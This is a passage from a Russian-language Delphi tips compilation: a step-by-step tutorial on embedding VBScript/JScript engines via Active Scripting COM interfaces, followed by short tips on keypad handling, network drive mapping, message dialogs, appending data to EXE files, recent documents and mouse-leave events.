FEngine := nil;
end;
Осталось только добавить запуск и остановку в обработчики событий OnCreate и OnDestroy формы. Разумеется, пока что лишь исключительно в тестовых целях:
procedure TForm1.FormDestroy(Sender: TObject); begin CloseScriptEngine; end; procedure TForm1.FormCreate(Sender: TObject); begin CreateScriptEngine(slVBScript); // на выбор // CreateScriptEngine(slJScript); end;
Полный текст проекта находится в папке Step1 архива. Что можно полезного извлечь из такого приложения? Выполнить в отладчике и наблюдать вызов методов TForm1.GetLCID при выполнении FEngine.SetScriptSite и TForm1.OnStateChange с параметрами SCRIPTSTATE_INITIALIZED (5) и SCRIPTSTATE_CLOSED (4) при выполнении FParser.InitNew и FEngine.Close соответственно.
Шаг 2: Первый работающий сценарий.
Сейчас наш проект довольно значительно усложнится. Для начала добавим к форме несколько компонентов:
Имена компонентов (слева направо, сверху вниз): ExpressionButton, ExpressionEdit, ScriptButton, ScriptMemo, LanguageRadioGroup, TestButton. По нажатию ExpressionButton будем вычислять выражение из ExpressionEdit и показывать результат:
procedure TForm1.ExpressionButtonClick(Sender: TObject);
var
Language: TScriptLanguage;
Code: WideString;
Result: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
Language := TScriptLanguage(LanguageRadioGroup.ItemIndex);
CreateScriptEngine(Language);
Code := ExpressionEdit.Text;
if FParser.ParseScriptText(PWideChar(Code), nil, nil, nil, 0, 0,
SCRIPTTEXT_ISEXPRESSION, Result, ExcepInfo) = S_OK then
ShowMessage(Result);
end;
Выражение может содержать константы, операции, встроенные функции, все то, что обычно может использоваться в правой части оператора присваивания в языке. К примеру, при выборе языка VBScript можно попробовать вычислить выражение.
Sin(0.15) * 5.3 + Cos(0.23) / 0.5
По нажатию ScriptButton будем выполнять сценарий из ScriptMemo:
procedure TForm1.ScriptButtonClick(Sender: TObject);
var
Language: TScriptLanguage;
Code: WideString;
Result: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
Language := TScriptLanguage(LanguageRadioGroup.ItemIndex);
CreateScriptEngine(Language);
Code := ScriptMemo.Text;
FParser.ParseScriptText(PWideChar(Code), nil, nil, nil, 0, 0, 0, Result,
ExcepInfo);
end;
Исполняемый сценарий может содержать непосредственно исполняемые операторы, функции, глобальные переменные, в общем, все что угодно, например такой сценарий (VBScript):
Public Function Test(X, Str) Test = "X=" & X & vbCrLf & "Str=" & Str End Function Dim FloatVar Dim StrVar FloatVar = 7.89 StrVar = "Hello, world." MsgBox Test(FloatVar, StrVar)
Этот сценарий нам еще пригодится: по нажатию TestButton мы будем вызывать из уже загруженного сценария функцию Test с использованием великолепной возможности Delphi – вызова методов COM-объектов с поздним связыванием:
procedure TForm1.TestButtonClick(Sender: TObject);
var
Disp: IDispatch;
VarDisp,
VarResult: OleVariant;
begin
if FEngine = nil then
Exit;
FEngine.GetScriptDispatch(nil, Disp);
VarDisp := Disp;
VarResult := VarDisp.Test(1.23, 'abc');
ShowMessage(VarToStr(VarResult));
end;
С использованием позднего связывания можно получить доступ не только к глобальным функциям сценария, но и к глобальным переменным, они будут доступны как свойства. Например, в вышеприведенном сценарии можно прочитать и записать значения переменных FloatVar и StrVar:
VarDisp.FloatVar := < выражение > ; < переменная > := VarDisp.StrVar;
Естественно, имена функций и переменных в этом случае будут жестко заданными, имена объектов в сценарии должны будут подчиняться некоторым требованиям со стороны приложения. Как получить доступ к любым объектам в сценарии будет показано дальше.
Шаг 3: Обработка ошибок.
Все ошибки сценария, как времени исполнения, так и ошибки разбора текста, обрабатываются централизовано через вызов метода OnScriptError интерфейса IActiveScriptSite. Условимся, что в нашем проекте реакцией на ошибку сценария будет показ формы с подробным описанием.
Добавим в проект новую форму TErrorForm (модуль errfrm.pas в папке Step3 архива). В описание класса формы добавим одно свойство:
TErrorForm = class(TForm)
...
private
FScriptError: IActiveScriptError;
public
property ScriptError: IActiveScriptError read FScriptError
write FScriptError;
end;
Вспомогательный интерфейс IActiveScriptError служит для получения детальной информации об ошибке сценария:
IActiveScriptError = interface(IUnknown)
function GetExceptionInfo(// Получить описание ошибки
out pexcepinfo: EXCEPINFO
): HResult; stdcall;
function GetSourcePosition(// Получить позицию ошибки в тексте
out pdwSourceContext: DWORD; // контекст (см. ParseSriptText)
out pulLineNumber: ULONG; // номер строки
out plCharacterPosition: Integer // номер символа в строке
): HResult; stdcall;
function GetSourceLineText(// Строка кода, вызвавшая ошибку
out pbstrSourceLine: WideString
): HResult; stdcall;
end;
Ссылка на этот интерфейс передается в вызов IActiveScriptSite.OnScriptError. Этот интерфейс мы будем передавать форме TErrorForm и в событии OnShow будем заполнять элементы управления:
procedure TErrorForm.FormShow(Sender: TObject);
var
ei: EXCEPINFO;
Context: DWORD;
Line: UINT;
Pos: integer;
SourceLineW: WideString;
SourceLine: string;
begin
if FScriptError = nil then
exit;
FScriptError.GetExceptionInfo(ei);
if @ei.pfnDeferredFillIn <> nil then
ei.pfnDeferredFillIn(@ei);
FScriptError.GetSourcePosition(Context, Line, Pos);
FScriptError.GetSourceLineText(SourceLineW);
SourceLine := SourceLineW;
DescriptionLabel.Caption := ei.bstrDescription;
Caption := ei.bstrSource;
DetailStatic.Caption := Format('Строка: %d'#13#10'Позиция: %d'#13#10'%s' , [Line
+ 1, Pos + 1, SourceLine]);
FScriptError := nil;
MessageBeep(MB_ICONHAND);
end;
Теперь код метода OnScriptError будет совсем простой:
function TForm1.OnScriptError(
const pscripterror: IActiveScriptError): HResult;
begin
Result := S_OK;
with TErrorForm.Create(nil) do
begin
ScriptError := pscripterror;
ShowModal;
Free;
end;
end;
Насладившись реакцией интерпретатора на японские хоку вместо привычного бейсика перейдем к делам поважнее.
Шаг 4: Первый прикладной объект.
Исполнение сценария в автономном режиме, вызов функций с известными именами и получение значений – сами по себе, несомненно, мощные возможности, но они ничто по сравнению с возможностью сценария управлять непосредственно объектами приложения.
Получить такую возможность можно, оформив прикладные объекты как программируемые объекты (Automation object) и сделав их доступными сценарию. В общем случае программируемые объекты – это COM-объекты, реализующие двойной интерфейс (dual interface) т.е. обычный интерфейс для прямых вызовов и IDispatch для позднего связывания. В простейшем случае достаточно только IDispatch, тогда обращение к объекту возможно только с использованием позднего связывания.
Какой же объект выбрать на роль первопроходца? С одной стороны он должен быть достаточно простым (проект у нас ведь как-никак исследовательский), а с другой – достаточно полезным (иначе не интересно). Кто работал с VBA (хотя бы в том же MS Office), знаком с объектом Debug. Вот аналог такого объекта мы и попробуем сделать.
Итак, объект Debug. У объекта один единственный метод Print, принимающий произвольное количество параметров любого типа (вернее, все параметры типа Variant). Реализация такого метода возможна только с использованием позднего связывания, а так как других методов у объекта нет, то кроме поддержки IDispatch такому объекту больше ничего не нужно. Вообще-то, тот путь, которым мы собираемся пойти, не совсем обычный: мы собираемся добраться до самых “косточек” реализации диспинтерфейсов. Обычно так COM-объекты не пишут (хотя магического запрета и нет), есть мастера и высокоуровневые классы, но в нашем случае такой подход будет простым и эффективным.
Добавим к проекту новый модуль (dbgobj.pas в папке Step4), в нем опишем класс:
TDebug = class(TInterfacedObject, IDispatch)
private
FLines: TStrings;
protected
function GetTypeInfoCount(out Count: Integer): HResult; stdcall;
function GetTypeInfo(Index, LocaleID: Integer;
out TypeInfo): HResult; stdcall;
function GetIDsOfNames(const IID: TGUID; Names: Pointer;
NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;
function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
Flags: Word; var Params; VarResult, ExcepInfo,
ArgErr: Pointer): HResult; stdcall;
public
constructor Create(ALines: TStrings);
end;
Как видно, кроме реализации интерфейса IDispatch в классе содержится еще только ссылка на список строк, в который и будут записываться результаты вызовов метода Print.
Информацию о типе наш объект не поддерживает, поэтому первые два метода будут просто заглушками:
function TDebug.GetTypeInfoCount(out Count: Integer): HResult; begin Count := 0; Result := S_OK; end; function TDebug.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; begin Pointer(TypeInfo) := nil; Result := E_NOTIMPL; end;
Следующие два метода ответственны за реализацию позднего связывания. Метод GetIDsOfNames должен вернуть идентификаторы (DispID) для метода и именованных аргументов метода. В нашем случае в задачу метода входит определить обращение к имени “Print” и вернуть код ошибки для всех остальных имен:
function TDebug.GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount,
LocaleID: Integer; DispIDs: Pointer): HResult;
type
TDispIDsArray = array[0..0] of TDISPID;
PDispIDsArray = ^TDispIDsArray;
var
IDs: PDispIDsArray absolute DispIDs;
i: integer;
Name: WideString;
begin
// Не поддерживаем именованные аргументы
if NameCount > 1 then
Result := DISP_E_UNKNOWNNAME
else if NameCount < 1 then
Result := E_INVALIDARG
else
Result := S_OK;
for i := 0 to NameCount - 1 do
IDs[i] := DISPID_UNKNOWN;
if NameCount = 1 then
begin
Name := PWideChar(Names^);
if UpperCase(Name) = 'PRINT' then
IDs[0] := 1
else
Result := DISP_E_UNKNOWNNAME;
end;
end;
Для метода Print возвращается DispID = 1. Это значение будет потом использоваться в функции Invoke при выполнении метода:
const // этих констант нет в модулях Delphi
VARIANT_ALPHABOOL = 2; // Лог. значения представлять литералами
VARIANT_LOCALBOOL = 16; // Лог. литералы на местном языке
function TDebug.Invoke(DispID: Integer; const IID: TGUID;
LocaleID: Integer; Flags: Word; var Params; VarResult, ExcepInfo,
ArgErr: Pointer): HResult;
var
P: TDISPPARAMS absolute Params;
i: integer;
S: string;
V: OleVariant;
begin
if (DispID = DISPID_PRINT) and (Flags = DISPATCH_METHOD) then
begin
S := '';
// Параметры в массиве в обратном порядке!
for i := P.cArgs - 1 downto 0 do
begin
// Преобразуем параметр в строку
Result := VariantChangeType(V, OleVariant(P.rgvarg[i]),
VARIANT_ALPHABOOL or VARIANT_LOCALBOOL, VT_BSTR);
// Ошибку преобразования вернем как ошибку метода
if Result <> S_OK then
exit;
if S <> '' then
S := S + ' ';
S := S + V;
end;
FLines.Add(S);
Result := S_OK;
end
else
Result := DISP_E_MEMBERNOTFOUND;
end;
Итак, объект готов. Как же сделать его доступным сценарию? Для этого служат методы IActiveScript.AddNamedItem и IActiveScriptSite.GetItemInfo. Первый вызывается приложением для регистрации именованного объекта в пространстве имен сценария, а второй вызывается машиной сценариев для получения информации об объекте, в первую очередь интерфейса объекта. Так как в реальном приложении может быть большое число объектов, имеет смысл организовать их в какую-нибудь регулярную структуру.
Добавим к проекту новый модуль (nmitems.pas в папке Step4). В интерфейсной части модуля опишем класс TNamedItemList:
TNamedItemList = class(TObjectList) public constructor Create; procedure AddItem(const Name: string; Item: TInterfacedObject); function GetItemIUnknown(const Name: string): IUnknown; end;
Этот класс будет хранить список именованных объектов, представленных в пространстве имен сценария. Элементами списка будут экземпляры класса (описанного в секции реализации):
TNamedItem = class protected FTypeInfo: ITypeInfo; FUnknown: IUnknown; FName: string; end;
Выбор такой организации хранения именованных объектов обусловлен стремлением свести к минимуму заботы по управлению структурой: класс TObjectList сам управляет временем жизни хранимых экземпляров, а уничтожение экземпляров автоматически освобождает ссылки на интерфейсы в полях.
Теперь можно перейти непосредственно к реализации прикладных объектов в сценарии. Для начала немного изменим главную форму проекта. Уберем кнопку и строку редактирования для простых выражений и добавим еще один редактор (TMemo) – это будет окно вывода объекта Debug:
Добавим в список модулей dbgobj и nmitems и изменим описание класса фомы:
TForm1 = class(TForm, IActiveScriptSite, IActiveScriptSiteWindow)
...
private
...
FNamedItems: TNamedItemList;
procedure AddNamedItem(const Name: string; Flags: DWORD; Item:
TInterfacedObject);
...
end;
Естественно, не забудем вставить в обработчики OnCreate и OnDestroy формы создание и удаление списка. Добавление объектов в пространство имен сценария будем выполнять методом AddNamedItem:
procedure TForm1.AddNamedItem(const Name: string; Flags: DWORD; Item: TInterfacedObject); var NameW: WideString; begin FNamedItems.AddItem(Name, Item); NameW := Name; FEngine.AddNamedItem(PWideChar(NameW), Flags); end;
В метод CloseScriptEngine добавим строку.
FNamedItems.Clear;
Изменим обработку ScriptButton для регистрации объекта Debug:
procedure TForm1.ScriptButtonClick(Sender: TObject);
var
Language: TScriptLanguage;
Code: WideString;
Result: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
Language := TScriptLanguage(LanguageRadioGroup.ItemIndex);
CreateScriptEngine(Language);
AddNamedItem('Debug', SCRIPTITEM_ISVISIBLE, TDebug.Create(DebugMemo.Lines));
Code := ScriptMemo.Text;
FParser.ParseScriptText(PWideChar(Code), nil, nil, nil, 0, 0, 0, Result,
ExcepInfo);
end;
Ну вот, первый прикладной объект готов, можно приступать к натурным испытаниям:
Dim X Debug.Print "Разные значения: " Debug.Print "Строка ", "abcd" Debug.Print "Целое ", 1234 Debug.Print "Вещественное", Sin(0.123) Debug.Print "Логическое ", 1 > 0 Debug.Print " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = " Debug.Print "x", vbTab, "sin(x)" Debug.Print " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = " for X = -1 to 1 Step 0.1 Debug.Print FormatNumber(X, 2), vbTab, Sin(X) NextШаг 5: Полноценный объект Разумеется, реальные прикладные объекты будут мало похожи на предыдущий, хотя и полезный, но экзотический объект. Реальные объекты будут иметь по доброму десятку свойств и методов, а так же будут являться источниками событий, обрабатывать которые тоже может код сценария. Последняя возможность представляется мне наиболее важной, ради которой и стоит оснащать приложение поддержкой сценариев. Но прежде чем пустить в ход тяжелую артиллерию полноценных Automation-объектов нам придется немного доработать инфраструктуру нашего приложения. Прежде всего, обновим список именованных объектов (модуль nmitems.pas, папка Step5) для использования не только простейших объектов, но и полноценных Automation-объектов:
TNamedItemList = class(TObjectList) public constructor Create; procedure AddItem(const Name: string; Item: TInterfacedObject); overload; procedure AddItem(const Name: string; Item: TComObject); overload; function GetItemIUnknown(const Name: string): IUnknown; function GetItemITypeInfo(const Name: string): ITypeInfo; end;Для того чтобы сценарий мог обрабатывать события от прикладных объектов, объекты должны предоставлять информацию о типе посредством интерфейса ITypeInfo. Поэтому предусмотрим получение и хранение ссылки на этот интерфейс в списке именованных объектов:
procedure TNamedItemList.AddItem(const Name: string; Item: TComObject);
var
I: TNamedItem;
begin
I := TNamedItem.Create;
if Item is TTypedComObject then
I.FTypeInfo := TTypedComObjectFactory(Item.Factory).ClassInfo
else
I.FTypeInfo := nil;
I.FUnknown := Item;
I.FName := AnsiUpperCase(Name);
Add(I);
end;
Добавим в класс формы перегруженную версию функции AddNamedItem:
TForm1 = class(TForm, IActiveScriptSite, IActiveScriptSiteWindow)
...
private
...
procedure AddNamedItem(const Name: string; Flags: DWORD; Item:
TInterfacedObject); overload;
procedure AddNamedItem(const Name: string; Flags: DWORD; Item: TComObject);
overload;
end;
Реализация новой версии функции текстуально полностью идентична версии для простого объекта. Изменим реализацию GetItemInfo для возврата информации о типе, и приложение практически готово к использованию полноценных программируемых объектов:
function TForm1.GetItemInfo(pstrName: LPCOLESTR; dwReturnMask: DWORD;
out ppiunkItem: IUnknown; out ppti: ITypeInfo): HResult;
begin
if @ppiunkItem <> nil then
Pointer(ppiunkItem) := nil;
if @ppti <> nil then
Pointer(ppti) := nil;
if (dwReturnMask and SCRIPTINFO_IUNKNOWN) <> 0 then
ppiunkItem := FNamedItems.GetItemIUnknown(pstrName);
if (dwReturnMask and SCRIPTINFO_ITYPEINFO) <> 0 then
ppti := FNamedItems.GetItemITypeInfo(pstrName);
Result := S_OK;
end;
Вот мы и подошли вплотную к созданию прикладного объекта. Давайте сделаем доступной сценарию, например, кнопку. Для этого нам понадобится OLE-оболочка для VCL-объекта. Положим, что мы желаем сделать доступными одно свойство для чтения/записи (Caption), один метод (SetBounds) и одно событие (естественно, OnClick). Набор невелик, но представителен.
Воспользуемся мастером Automation Object с вкладки AtiveX. Поля мастера заполним следующим образом: CoClassName – Button; Instancing – Internal; Threading Model – Apartment. Установим флажок “Generate Event support code”. Мастер добавит в проект библиотеку типов и создаст модуль реализации COM-объекта. Сохраним его под именем Wrapper (папка Step5 архива). Откроем редактор библиотеки типов (меню View | Type Library), добавим в интерфейсу IButton свойство Caption (тип BSTR) и метод SetBounds, а в диспинтерфейс IButtonEvents – метод OnClick. В модуле Wrapper добавим в список модулей StdCtrls и изменим описания:
type
TVCLButton = StdCtrls.TButton;
TButton = class(TAutoObject, IConnectionPointContainer, IButton)
private
...
FButton: TVCLButton;
procedure ButtonClick(Sender: TObject);
public
...
constructor Create(AButton: TVCLButton);
destructor Destroy; override;
...
end;
TButtonWrapper = TButton;
Осталось реализовать методы, и наш объект готов. Никакой сложной работы не предвидится – ведь это всего лишь обертка:
constructor TButton.Create(AButton: TVCLButton);
begin
inherited Create;
FButton := AButton;
if FButton <> nil then
FButton.OnClick := ButtonClick;
end;
destructor TButton.Destroy;
begin
if FButton <> nil then
FButton.OnClick := nil;
inherited Destroy;
end;
function TButton.Get_Caption: WideString;
begin
if FButton <> nil then
Result := FButton.Caption;
end;
procedure TButton.Set_Caption(const Value: WideString);
begin
if FButton <> nil then
FButton.Caption := Value;
end;
procedure TButton.ButtonClick(Sender: TObject);
begin
if FEvents <> nil then
FEvents.OnClick;
end;
procedure TButton.SetBounds(Left, Top, Width, Height: Integer);
begin
if FButton <> nil then
FButton.SetBounds(Left, Top, Width, Height);
end;
Вернемся к главной форме нашего проекта. Прежде всего вернем на место кнопку TestButton – это и будет наш прикладной объект, управлять которым мы будем из сценария. В список модулей (в секции реализации, чтобы не вызвать конфликт имен) добавим модуль Wrapper. Осталось только изменить процедуру загрузки сценария:
procedure TForm1.ScriptButtonClick(Sender: TObject);
var
Language: TScriptLanguage;
Code: WideString;
Result: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
Language := TScriptLanguage(LanguageRadioGroup.ItemIndex);
CreateScriptEngine(Language);
AddNamedItem('Debug', SCRIPTITEM_ISVISIBLE, TDebug.Create(DebugMemo.Lines));
AddNamedItem('Button', SCRIPTITEM_ISVISIBLE or SCRIPTITEM_ISSOURCE,
TButtonWrapper.Create(TestButton));
Code := ScriptMemo.Text;
FParser.ParseScriptText(PWideChar(Code), nil, nil, nil, 0, 0, 0, Result,
ExcepInfo);
FEngine.SetScriptState(SCRIPTSTATE_CONNECTED);
end;
Здесь следует обратить внимание на два отличия от предыдущего варианта. Первое: флаги в вызове AddNamedItem. Если объект является источником событий, то необходимо указывать флаг SCRIPTITEM_ISSOURCE. Второе: вызов SetScriptState. Перевод машины сценариев в состояние SCRIPTSTATE_CONNECTED вызывает запрос информации о типе (вызов GetItemInfo с флагом SCRIPTINFO_ITYPEINFO) и подключение к источнику событий (вызов интерфейса IConnectionPointContainer объекта).
Теперь можно испытать, как все это будет работать: // Button "OnClick" event handler Sub Button_OnClick Debug.Print Button end Sub // Startup code with Button .SetBounds 5, 120, 90, 90 Debug.Print.Caption .Caption = "Click me!" end withВроде бы все работает, кнопка изменила размеры и надпись. Попробуем нажать? Ой! Мы забыли дописать обращение к свойству при вызове метода Print. Можно просто исправить текст
Debug.Print Button.Captionперезагрузить сценарий и забыть. Но здесь есть над чем подумать. Вспомним, что для объектов OLE Automation существует механизм свойств по умолчанию. К примеру, для надписей, строк редактирования, кнопок и т.п. объектов свойством по умолчанию обычно являются Text или Caption, для поля таблицы свойством по умолчанию может быть Value. Как правило, свойством по умолчанию является интуитивно ассоциируемое с объектом значение, и обычно это оказывается наиболее часто используемое свойство. В чем смысл использования свойств по умолчанию? Вспомним, что языки сценариев – это чаще всего языки с поздним связыванием. Т.е. для вызова любого метода или свойства машине сценариев приходится осуществлять два вызова интерфейса IDispatch объекта. Первым вызовом GetIDsOfNames по имени метода или свойства определяется его числовой идентификатор (DispID), а потом вызовом Invoke осуществляется исполнение метода или доступ к свойству. Для свойства по умолчанию DispID фиксирован и известен заранее, поэтому интерпретатор сценария может сразу вызвать Invoke с известным DispID. Реализация свойства по умолчанию очень проста: в описании интерфейса свойству необходимо назначить специальное значение DISPID_VALUE (0). В редакторе библиотеки типов это можно сделать, вписав числовое значение (0) в поле ID на вкладке Attributes. Шаг 6: Чем дальше в лес... Итак, мы уже умеем запускать машину сценариев, исполнять сценарии, работать с объектами и событиями, казалось бы, чего же больше? Вероятно, не хватает только возможности заглянуть во внутренности сценария: перечислить глобальные переменные, функции и их параметры, просмотреть и изменить значения переменных, вызвать функции. Ранее мы уже рассматривали доступ к переменным и функциям с использованием раннего связывания, но были ограничены необходимостью знать имена объектов заранее. А если имена заранее неизвестны? Можно ли получить, к примеру, список глобальных переменных или функций? Да, можно. Вспомним, что интерфейс IDispatch может предоставлять информацию о типе. Для этого служит интерфейс ITypeInfo и методы GetTypeInfoCount и GetTypeInfo интерфейса IDispatch, а интерфейс IDispatch для всего сценария можно получить вызовом IActiveScript.GetScriptDispatch. Предлагаю читателю самостоятельно разобраться с проектом в папке Step6 архива. Приложение несет всю ранее рассмотренную функциональность. Кроме того, добавлена форма, с помощью которой можно просмотреть список глобальных переменных и функций, просмотреть и задать значения переменных и вызвать функции.
Напоследок.
Вот и подошла к концу наша прогулка, вернее, наш совместный путь. А чтобы не скучать в одиночестве, маленький подарок, который вы найдете в папке Bonus. Это программа построения параметрически заданных кривых. Точки кривой, естественно, рассчитываются сценарием. Сценарий должен содержать следующие объекты:
| Имя |
Тип |
Назначение |
MinT |
вещественный |
Минимальное значение параметра |
MaxT |
вещественный |
Максимальное значение параметра |
Steps |
целое |
Количество шагов изменения параметра |
X |
вещественный |
Координата X |
Y |
вещественный |
Координата Y |
CalcXY( T ) |
процедура |
Вычисляет значения X и Y для значения параметра T |
|
Как заставить дополнительную клавиатуру всегда работать в режиме цифр.
Для этого необходимо написать процедуру-обработчик для Application.OnMessage:
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := AppOnMessage;
end;
procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
var ccode: Word;
begin
case Msg.Message of
WM_KEYDOWN, WM_KEYUP:
begin
if (GetKeyState(VK_NUMLOCK) >= 0) //NumLock не включ¸н
and ((Msg.lparam and $1000000) = 0)
then
begin
ccode := 0;
case Msg.wparam of
VK_HOME: ccode := VK_NUMPAD7;
VK_UP: ccode := VK_NUMPAD8;
VK_PRIOR: ccode := VK_NUMPAD9;
VK_LEFT: ccode := VK_NUMPAD4;
VK_CLEAR: ccode := VK_NUMPAD5;
VK_RIGHT: ccode := VK_NUMPAD6;
VK_END: ccode := VK_NUMPAD1;
VK_DOWN: ccode := VK_NUMPAD2;
VK_NEXT: ccode := VK_NUMPAD3;
VK_INSERT: ccode := VK_NUMPAD0;
VK_DELETE: ccode := VK_DECIMAL;
end;
if ccode <> 0 then Msg.Wparam := ccode;
end;
end;
end;
end;
|
Как подключить и отключить сетевые диски.
| Звонит один мужик своему интернет-провайдеру и говорит оператору: - Алло, здраствуйте, у меня проблема! Я не могу зайти в интернет! - А в чем, собственно говоря, дело? - А у меня нет компьютера. |
Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:
Подключить сетевой ресурс:
WNetAddConnection(NetResourse, Password, LocalName: PChar): longint; |
Где.
NetResourse - имя сетевого ресурса (например '\\P166\c') Password - пароль на доступ к ресурсу (если нет пароля, то пустая строка) LocalName - имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')Пример подключения сетевого диска:
WNetAddConnection('\\P166\C', '', 'F:');
|
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые:
NO_ERROR - Нет ошибок - успешное завершение ERROR_ACCESS_DENIED - Ошибка доступа ERROR_ALREADY_ASSIGNED - Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами. ERROR_BAD_DEV_TYPE - Неверный тип устройства. ERROR_BAD_DEVICE - Неверное устройство указано в LocalName ERROR_BAD_NET_NAME - Неверный сетевой путь или сетевое имя ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей) ERROR_INVALID_PASSWORD - Неверный пароль ERROR_NO_NETWORK - Нет сетиОтключить сетевой ресурс
WNetCancelConnection(LocalName: PChar; ForseMode: Boolean): Longint; |
Где.
LocalName - имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:') ForseMode - режим отключения : False - корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл) True - скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и может привести к любым последствиям (от отсутствия ошибок до глухого повисания)Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые:
NO_ERROR - Нет ошибок - успешное завершение ERROR_DEVICE_IN_USE - Ресурс используется ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей) ERROR_NOT_CONNECTED - Указанное ус-во не является сетевым ERROR_OPEN_FILES - На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=falseРекомендация: при отключении следует сначала попробовать отключить ус-во с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true.
Добавляем компонент в стандартный Message Dialog.
Пример показывает стандартное диалоговое окно, которое обычно используется для подтверждения дальнейших действий в любой программе с галочкой "Don't show this message again.".
Используем функцию CreateMessageDialog и добавляем любой компонент до того как будет вызвана ShowModal.
Например:
procedure TForm1.Button1Click(Sender: TObject);
var
AMsgDialog: TForm;
ACheckBox: TCheckBox;
begin
AMsgDialog := CreateMessageDialog('This is a test message.', mtWarning, [mbYes, mbNo]);
ACheckBox := TCheckBox.Create(AMsgDialog);
with AMsgDialog do
try
Caption := 'Dialog Title' ;
Height := 169;
with ACheckBox do
begin
Parent := AMsgDialog;
Caption := 'Don''t show me again.';
top := 121;
Left := 8;
Width := 140;
end;
case ShowModal of
ID_YES: ;//здесь Ваш код после того как диалог будет закрыт
ID_NO: ;
end;
if ACheckBox.Checked then
begin
//...
end;
finally
ACheckBox.Free;
Free;
end;
end;
|
Добавить данные в EXE файл и получить их.
| Решил хакер блины печь. Первый блин у него вышел, как водится, комом. А второй - экзешником. |
function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
aStream: TFileStream;
iSize: Integer;
begin
Result := False;
if not FileExists(AFileName) then
Exit;
try
aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);
MemoryStream.Seek(0, soFromBeginning);
// seek to end of File
// ans Ende der Datei Seeken
aStream.Seek(0, soFromEnd);
// copy data from MemoryStream
// Daten vom MemoryStream kopieren
aStream.CopyFrom(MemoryStream, 0);
// save Stream-Size
// die Streamgro?e speichern
iSize := MemoryStream.Size + SizeOf(Integer);
aStream.Write(iSize, SizeOf(iSize));
finally
aStream.Free;
end;
Result := True;
end;
function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
aStream: TFileStream;
iSize: Integer;
begin
Result := False;
if not FileExists(AFileName) then
Exit;
try
aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
// seek to position where Stream-Size is saved
// zur Position seeken wo Streamgro?e gespeichert
aStream.Seek(-SizeOf(Integer), soFromEnd);
aStream.Read(iSize, SizeOf(iSize));
if iSize > aStream.Size then
begin
aStream.Free;
Exit;
end;
// seek to position where data is saved
// zur Position seeken an der die Daten abgelegt sind
aStream.Seek(-iSize, soFromEnd);
MemoryStream.SetSize(iSize - SizeOf(Integer));
MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));
MemoryStream.Seek(0, soFromBeginning);
finally
aStream.Free;
end;
Result := True;
end;
procedure TForm1.SaveClick(Sender: TObject);
var
aStream: TMemoryStream;
begin
aStream := TMemoryStream.Create;
Memo1.Lines.SaveToStream(aStream);
AttachToFile('Test.exe', aStream);
aStream.Free;
end;
procedure TForm1.LoadClick(Sender: TObject);
var
aStream: TMemoryStream;
begin
aStream := TMemoryStream.Create;
LoadFromFile('Test.exe', aStream);
Memo1.Lines.LoadFromStream(aStream);
aStream.Free;
end;
{
Note:
You can't proof whether additional data is attached or not.
To reach this, you would have to create a checksumm of the
MemoryStream and attach it.
}
|
Как добавить документ в меню Документы кнопки ПУСК.
uses ShlOBJ; ... procedure TForm1.Button1Click(Sender: TObject); var s: string; begin s := 'C:\1\DelphiWorld.html'; //Здесь указываем имя нужного файла SHAddToRecentDocs(SHARD_PATH, pChar(s)); end; |
Добавление события OnMouseLeave.
| Автор: Briculski |
| По ее голому животу бежала мышь. Ниже, ниже... но на самом интересном месте коврик кончился. |
Все потомки TComponent могут посылать сообщения CM_MOUSEENTER и CM_MOUSELEAVE во время вхождения и покидания курсора мыши области компонента. Если вам необходимо, чтобы ваши компоненты обладали реакцией на эти события, необходио написать для них соответствующие обработчики.
procedure CMMouseEnter(var msg:TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var msg: TMessage); message CM_MOUSELEAVE;
..
..
..
procedure MyComponent.CMMouseEnter(var msg:TMessage);
begin
inherited;
{действия на вход мыши в область компонента}
end;
procedure MyComponent.CMMouseLeave(var msg: TMessage);
begin
inherited;
{действия на покидание мыши области компонента}
end;
|
Т.е. все визуальные компоненты, которые порождены от TControl, могут отлавливать эти события. Следующий пример показывает как создать наследника от TLabel и добавить два необходимых события OnMouseLeave и OnMouseEnter.
(*///////////////////////////////////////////////////////*)
(*// Author: Briculski Serge
(*// E-Mail: bserge@airport.md
(*// Date: 26 Apr 2000
(*///////////////////////////////////////////////////////*)
unit BS_Label;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TBS_Label = class(TLabel)
private
{ Private declarations }
FOnMouseLeave: TNotifyEvent;
FOnMouseEnter: TNotifyEvent;
procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
protected
{ Protected declarations }
public
{ Public declarations }
published
